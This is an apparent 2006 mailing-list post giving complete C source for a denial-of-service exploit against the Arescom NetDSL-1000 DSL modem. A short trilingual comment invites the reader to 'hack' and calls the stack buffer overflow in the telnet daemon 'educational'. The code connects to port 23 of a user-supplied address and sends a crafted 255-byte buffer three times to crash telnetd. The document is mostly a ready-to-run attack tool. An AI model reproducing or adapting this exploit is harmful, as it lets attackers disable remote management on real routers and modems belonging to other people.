Arescom NetDSL-1000 DoS atack source
- From: framirez@xxxxxxxx
- Date: 30 Jan 2006 13:51:27 -0000
/*
Do you want to hack? les`t go .. free your mind
Tu veux etre un hacker? allez .. if faut libere ta tete!
Quieres hackear? dale .. libera tu mente
Vulnerabilidad en modem Arescom NetDSL-1000
por un buffer overflow debido < [255] en la pila stack.
DoS atack por Fabian Ramirez S. <framirez@xxxxxxxx>
www.framirez.com
If you flood the telnet configuration a couple dozen times with long
strings, eventually the telnetd service flat out dies. Routing functions
of the NetDSL continue to work fine as before. It is unknown whether only
the telnetd service is affected, other means of remote configuration may
have become unavailable as well.
Remember: KING
Solo para fines educativos! (CREEEEEEO ZEEEEEEEEEEE)
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#define PORT 23
#define MAXDATASIZE 100
char shellcode[]= "\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
"\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
"\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
"\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
"\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
"\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
"\x89\x28\x12\x34\xC0\xC1\xC0\xC1\xC0\xC1"
"\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
"\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
"\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
"\x89\x28\x12\x34\xC0\xC1\xC0\xC1\xC0\xC1"
"\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
"\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
"\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
"\x89\x28\x12\x34\xC0\xC1\xC0\xC1\xC0\xC1"
"\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
"\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
"\x89\x28\x12\x34\xC0\xC1\xC0\xC1\xC0\xC1";
int main(int argc, char *argv[])
{
int fd, numbytes,i;
char buf[MAXDATASIZE];
struct hostent *he;
struct sockaddr_in server;
printf("Exploit Arescom NetDSL-1000 executing\n");
printf (" by framirez\n");
if (argc !=2) {
printf("Uso: %s <Dirección IP>\n",argv[0]);
exit(-1);
}
if ((he=gethostbyname(argv[1]))==NULL){
printf("gethostbyname() error\n");
exit(-1);
}
if ((fd=socket(AF_INET, SOCK_STREAM, 0))==-1){
printf("socket() error\n");
exit(-1);
}
server.sin_family = AF_INET;
server.sin_port = htons(PORT);
server.sin_addr = *((struct in_addr *)he->h_addr);
if(connect(fd, (struct sockaddr *)&server,
sizeof(struct sockaddr))==-1){
printf("ERROR conectando al host\n");
exit(-1);
}
for (i=0;i<3;i++)
{
send(fd,shellcode,255,0);
}
printf ("Exploit enviado con EXITO al destinatario\n");
printf (" by framirez\n");
close(fd);
return 1;
}
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